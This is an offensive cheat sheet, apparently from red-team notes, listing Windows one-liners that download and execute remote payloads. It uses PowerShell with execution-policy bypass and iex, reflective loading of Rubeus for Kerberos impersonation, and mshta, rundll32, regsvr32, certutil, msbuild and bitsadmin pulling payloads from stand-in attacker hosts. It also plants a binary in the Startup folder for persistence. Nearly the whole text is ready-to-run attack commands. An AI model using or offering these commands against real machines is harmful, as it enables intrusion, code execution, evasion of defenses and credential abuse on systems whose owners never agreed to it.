Windows - Download and execute methods

Downloaded files location

- C:\Users<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
- C:\Users<username>\AppData\Local\Microsoft\Windows\INetCache\IE<subdir>
- C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

Powershell

From an HTTP server

```
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=
[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|
iex"

# Download only
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerUp.ps1",
"C:\Windows\Temp\PowerUp.ps1")
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"

# Download and run Rubeus, with arguments
$data = (New-Object
System.Net.WebClient).DownloadData('http://10.10.10.10/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e
/impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

# Execute a specific method from an assembly
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
```

From a Webdav server

```
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```

Cmd

```
cmd.exe /k < \\webdavserver\folder\batchfile.txt
```

Cscript / Wscript

```
cscript //E:jscript \\webdavserver\folder\payload.txt
```

Mshta

```
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```

```
mshta http://webserver/payload.hta
```

```
mshta \\webdavserver\folder\payload.hta
```

Rundll32

```
rundll32 \\webdavserver\folder\payload.dll,entrypoint
```

```
rundll32.exe
javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/paylo
ad.sct");window.close();
```

Regasm / Regsvc @subTee

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u
\\webdavserver\folder\payload.dll
```

Regsvr32 @subTee

```
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```

```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```

Odbcconf

```
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```

Msbuild

```
```

```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" &
!MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml &
!MB! payload.xml"
```

Certutil

```
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -
decode payload.b64 payload.dll &
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile=
/LogToConsole=false /u payload.dll
```

```
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -
decode payload.b64 payload.exe & payload.exe
```

Bitsadmin

```
bitsadmin /transfer mydownloadjob /download /priority normal
http://<attackerIP>/xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe
```

References

- arno0x0x - Windows oneliners to download remote payload and execute arbitrary code